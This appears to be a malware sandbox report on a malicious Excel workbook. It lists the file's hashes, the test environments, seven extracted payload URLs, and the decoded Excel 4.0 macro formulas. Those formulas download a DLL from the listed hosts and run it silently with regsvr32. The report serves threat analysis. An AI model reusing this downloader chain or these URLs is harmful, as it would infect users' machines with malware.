Static task
static1
Behavioral task
behavioral1
Sample
320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba.xlsx
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba.xlsx
Resource
win10v2004-20240802-en
General
-
Target
320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba
-
Size
29KB
-
MD5
59ca4fae0fe8ee6e31945498d84671a1
-
SHA1
87e6eeca690e85e4b39def80ceac5ee04f77833f
-
SHA256
320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba
-
SHA512
f8f875ff89c396b845d3c0d4193ddb311316deed501e813236dc7a418be1bd08c4040729f30fae33e1c70d22b4a56a10c7b1eb652e5d46f073d68ca5608e7291
-
SSDEEP
384:3CGTYRX5Unzt2nmnAcLK5J9AVs6TeEB/g4Bmq3FrEBTqwGFzHUnoCV9RmNCtmxhV:3CGURJUnz0mD4ys2ewg4F32BUH6J948U
Malware Config
Extracted
https://www.aulavirtualapecc.com/server/qramDt1UIotz/
https://ingelse.net/Overview/slWIUhVtK/
http://calzadoyuyin.com/cgj-bin/uzOOL/
https://wimmergroup.com/home_tours/Pvnw2/
http://www.arkidecture.com/vendor/5Ibj6pmUm/
http://bizztream.com/images/NS85wHTdIY9N5Ay/
https://www.berekethaber.com/dosyalar/2z6RZL/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.aulavirtualapecc.com/server/qramDt1UIotz/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ingelse.net/Overview/slWIUhVtK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://calzadoyuyin.com/cgj-bin/uzOOL/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wimmergroup.com/home_tours/Pvnw2/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkidecture.com/vendor/5Ibj6pmUm/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizztream.com/images/NS85wHTdIY9N5Ay/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.berekethaber.com/dosyalar/2z6RZL/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
320e56a2da9a482321e1cba675a0bb771cc2bc35ac24a3f8c22f62514f3947ba.xlsx office2007